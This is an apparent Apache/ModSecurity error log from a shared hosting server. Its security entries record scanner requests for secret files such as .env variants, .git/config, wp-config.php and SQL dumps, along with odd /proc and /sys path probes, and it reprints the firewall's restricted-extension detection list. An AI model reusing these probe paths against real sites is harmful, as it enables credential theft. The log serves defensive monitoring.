[Fri Jul 17 08:26:05.779184 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/psr/log/Psr/Log/LogLevel.php"] [unique_id "almZxQ5GPQ6hs4VrfMo9pAAAAAY"]
[Fri Jul 17 08:26:05.779545 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/psr/log/Psr/Log/LogLevel.php"] [unique_id "almZxQ5GPQ6hs4VrfMo9pAAAAAY"]
[Fri Jul 17 08:26:06.869983 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:07.346649 2026] [cgi:error] [pid 1994966:tid 1994966] [client 20.226.66.230:0] AH02812: stderr from /home/ceylondigest/public_html/cgi-bin/: attempt to invoke directory as script
[Fri Jul 17 08:26:10.376550 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:14.210224 2026] [access_compat:error] [pid 1993574:tid 1993574] [client 20.226.66.230:0] AH01797: client denied by server configuration: /home/ceylondigest/public_html/wp-content/uploads/wpcf7_uploads/
[Fri Jul 17 08:26:14.214256 2026] [authz_core:error] [pid 1993574:tid 1993574] [client 20.226.66.230:0] AH01630: client denied by server configuration: /home/ceylondigest/public_html/wp-content/uploads/sucuri/index.php
[Fri Jul 17 08:26:16.903626 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almZ0AG5-NXx3Mem1QgN0QAAAA8"]
[Fri Jul 17 08:26:16.904724 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almZ0AG5-NXx3Mem1QgN0QAAAA8"]
[Fri Jul 17 08:26:16.905204 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almZ0AG5-NXx3Mem1QgN0QAAAA8"]
[Fri Jul 17 08:26:18.554618 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:18.564817 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:20.334290 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:20.420244 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:20.930529 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:21.026467 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:28.898881 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:42678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:29.575458 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:42734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:32.875259 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:33.036404 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:35.777650 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:35716] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:36.623513 2026] [security2:error] [pid 2008451:tid 2008451] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZ4wPhWp7RzB65h36eagAAAA0"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1029&page_105=2454
[Fri Jul 17 08:26:36.623543 2026] [security2:error] [pid 2008451:tid 2008451] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZ4wPhWp7RzB65h36eagAAAA0"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1029&page_105=2454
[Fri Jul 17 08:26:36.762272 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:35770] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:37.807146 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:38.284249 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:35834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:41.936997 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:42.174884 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:43.905749 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:43562] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:44.160437 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:45.297339 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:43644] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:45.297540 2026] [security2:error] [pid 1994956:tid 1994956] [client 57.141.18.27:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory14/node0/memory126/node0/memory115/node0/power/control"] [unique_id "almZ7QG5-NXx3Mem1QgN5QAAAA8"]
[Fri Jul 17 08:26:45.297571 2026] [security2:error] [pid 1994956:tid 1994956] [client 57.141.18.27:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory14/node0/memory126/node0/memory115/node0/power/control"] [unique_id "almZ7QG5-NXx3Mem1QgN5QAAAA8"]
[Fri Jul 17 08:26:47.225014 2026] [security2:error] [pid 1993584:tid 1993584] [client 57.141.18.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory17/subsystem/devices/memory71/subsystem/devices/memory71/"] [unique_id "almZ71xP5-SsqbGuGB2k2QAAAAA"]
[Fri Jul 17 08:26:47.225152 2026] [security2:error] [pid 1993584:tid 1993584] [client 57.141.18.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory17/subsystem/devices/memory71/subsystem/devices/memory71/"] [unique_id "almZ71xP5-SsqbGuGB2k2QAAAAA"]
[Fri Jul 17 08:26:51.208210 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:26:51.248101 2026] [security2:error] [pid 1994446:tid 1994446] [client 47.82.52.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/sys/dev/char/10:229/subsystem/kvm/subsystem/kvm/"] [unique_id "almZ812NhE8i6ppze4etiQAAAAs"]
[Fri Jul 17 08:26:51.248154 2026] [security2:error] [pid 1994446:tid 1994446] [client 47.82.52.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/sys/dev/char/10:229/subsystem/kvm/subsystem/kvm/"] [unique_id "almZ812NhE8i6ppze4etiQAAAAs"]
[Fri Jul 17 08:26:54.443496 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:34734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:55.013516 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:34778] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:26:55.956261 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 47.82.54.248:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/dev/char/189:1/1-1:1.0/driver/bind
[Fri Jul 17 08:26:56.983075 2026] [security2:error] [pid 1993584:tid 1993584] [client 57.141.18.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory13/subsystem/devices/memory55/node0/memory73/node0/memory79/"] [unique_id "almZ-FxP5-SsqbGuGB2k4QAAAAA"]
[Fri Jul 17 08:26:56.983137 2026] [security2:error] [pid 1993584:tid 1993584] [client 57.141.18.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory13/subsystem/devices/memory55/node0/memory73/node0/memory79/"] [unique_id "almZ-FxP5-SsqbGuGB2k4QAAAAA"]
[Fri Jul 17 08:26:59.512958 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:02.105911 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:03.503524 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.237.16.185:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almZ_12NhE8i6ppze4etkgAAAAs"]
[Fri Jul 17 08:27:03.504152 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almZ_12NhE8i6ppze4etkgAAAAs"]
[Fri Jul 17 08:27:03.517455 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.237.16.185:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almZ_3f2WrySr2miwA73WAAAABY"]
[Fri Jul 17 08:27:03.517736 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almZ_3f2WrySr2miwA73WAAAABY"]
[Fri Jul 17 08:27:03.533959 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.237.16.185:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almZ_3t8zp89pALg8Q5k5gAAAA4"]
[Fri Jul 17 08:27:03.534521 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almZ_3t8zp89pALg8Q5k5gAAAA4"]
[Fri Jul 17 08:27:03.543817 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.237.16.185:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almZ_3RlmrtCoY_COpciTAAAAAg"]
[Fri Jul 17 08:27:03.546978 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almZ_3RlmrtCoY_COpciTAAAAAg"]
[Fri Jul 17 08:27:03.549000 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.237.16.185:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almZ_0hq6UAnqYko0LpXDAAAABE"]
[Fri Jul 17 08:27:03.549552 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almZ_0hq6UAnqYko0LpXDAAAABE"]
[Fri Jul 17 08:27:03.553022 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.237.16.185:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almZ_41dLClkUfK_dfHhQwAAAAI"]
[Fri Jul 17 08:27:03.553415 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almZ_41dLClkUfK_dfHhQwAAAAI"]
[Fri Jul 17 08:27:03.686745 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.237.16.185:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almZ_xAi3pC6yjXGNq19BwAAAAU"]
[Fri Jul 17 08:27:03.687303 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almZ_xAi3pC6yjXGNq19BwAAAAU"]
[Fri Jul 17 08:27:03.731287 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.237.16.185:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almZ_4l9vhFBGA6D8l92GgAAAAw"]
[Fri Jul 17 08:27:03.731693 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almZ_4l9vhFBGA6D8l92GgAAAAw"]
[Fri Jul 17 08:27:03.731925 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.732201 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_4l9vhFBGA6D8l92GgAAAAw"]
[Fri Jul 17 08:27:03.746616 2026] [hostinglimits:warn] [pid 1993570:tid 1993570] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993570) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.748082 2026] [hostinglimits:warn] [pid 2002425:tid 2002425] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(2002425) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.748662 2026] [security2:error] [pid 1993574:tid 1993574] [client 3.237.16.185:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almZ_90t9Kb_MdNxrg6-gQAAAAM"]
